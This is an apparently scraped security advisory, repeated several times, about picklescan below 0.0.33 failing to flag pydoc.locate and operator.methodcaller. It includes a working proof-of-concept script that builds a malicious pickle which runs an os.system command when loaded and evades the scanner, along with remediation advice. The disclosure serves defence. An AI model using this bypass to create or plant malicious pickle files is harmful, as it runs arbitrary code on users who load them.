### Summary Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system. Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check. ### PoC use the provided script to create a malicious pickle file ```python import pickle import pydoc import operator import os class ModuleLocator: def __init__(self, module_name): self.module_name = module_name def __reduce__(self): return (pydoc.locate, (self.module_name,)) class RCEPayload: def __reduce__(self): cmd = "notepad" #put your payload here mc = operator.methodcaller("system", cmd) return (mc, (ModuleLocator("os"),)) def generate_exploit(): payload = RCEPayload() try: with open("bypass.pkl", "wb") as f: f.write(pickle.dumps(payload)) print("File 'bypass.pkl' created.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": generate_exploit() ``` The generated payload will not be flagged as dangerous by picklescan but is actually malicious. ```python import pickle print("Loading bypass.pkl...") pickle.load(open("bypass.pkl", "rb")) ``` Script to open the pickle file, demonstrating impact <img width="746" height="341" alt="image" src="https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0" /> ### Remediation The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.
### Summary Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system. Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check. ### PoC use the provided script to create a malicious pickle file ```python import pickle import pydoc import operator import os class ModuleLocator: def __init__(self, module_name): self.module_name = module_name def __reduce__(self): return (pydoc.locate, (self.module_name,)) class RCEPayload: def __reduce__(self): cmd = "notepad" #put your payload here mc = operator.methodcaller("system", cmd) return (mc, (ModuleLocator("os"),)) def generate_exploit(): payload = RCEPayload() try: with open("bypass.pkl", "wb") as f: f.write(pickle.dumps(payload)) print("File 'bypass.pkl' created.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": generate_exploit() ``` The generated payload will not be flagged as dangerous by picklescan but is actually malicious. ```python import pickle print("Loading bypass.pkl...") pickle.load(open("bypass.pkl", "rb")) ``` Script to open the pickle file, demonstrating impact <img width="746" height="341" alt="image" src="https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0" /> ### Remediation The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.
Update picklescan to 0.0.33 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPicklescan has Incomplete List of Disallowed Inputs affects picklescan (pip). Severity is high. ### Summary Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system. Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check. ### PoC use the provided script to create a malicious pickle file ```python import pickle import pydoc import operator import os class ModuleLocator: def __init__(self, module_name): self.module_name = module_name def __reduce__(self): return (pydoc.locate, (self.module_name,)) class RCEPayload: def __reduce__(self): cmd = "notepad" #put your payload here mc = operator.methodcaller("system", cmd) return (mc, (ModuleLocator("os"),)) def generate_exploit(): payload = RCEPayload() try: with open("bypass.pkl", "wb") as f: f.write(pickle.dumps(payload)) print("File 'bypass.pkl' created.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": generate_exploit() ``` The generated payload will not be flagged as dangerous by picklescan but is actually malicious. ```python import pickle print("Loading bypass.pkl...") pickle.load(open("bypass.pkl", "rb")) ``` Script to open the pickle file, demonstrating impact <img width="746" height="341" alt="image" src="https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0" /> ### Remediation The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| picklescanpip | <0.0.33 | 0.0.33 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate picklescan to 0.0.33 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPicklescan has Incomplete List of Disallowed Inputs affects picklescan (pip). Severity is high. ### Summary Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system. Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check. ### PoC use the provided script to create a malicious pickle file ```python import pickle import pydoc import operator import os class ModuleLocator: def __init__(self, module_name): self.module_name = module_name def __reduce__(self): return (pydoc.locate, (self.module_name,)) class RCEPayload: def __reduce__(self): cmd = "notepad" #put your payload here mc = operator.methodcaller("system", cmd) return (mc, (ModuleLocator("os"),)) def generate_exploit(): payload = RCEPayload() try: with open("bypass.pkl", "wb") as f: f.write(pickle.dumps(payload)) print("File 'bypass.pkl' created.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": generate_exploit() ``` The generated payload will not be flagged as dangerous by picklescan but is actually malicious. ```python import pickle print("Loading bypass.pkl...") pickle.load(open("bypass.pkl", "rb")) ``` Script to open the pickle file, demonstrating impact <img width="746" height="341" alt="image" src="https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0" /> ### Remediation The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| picklescanpip | <0.0.33 | 0.0.33 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard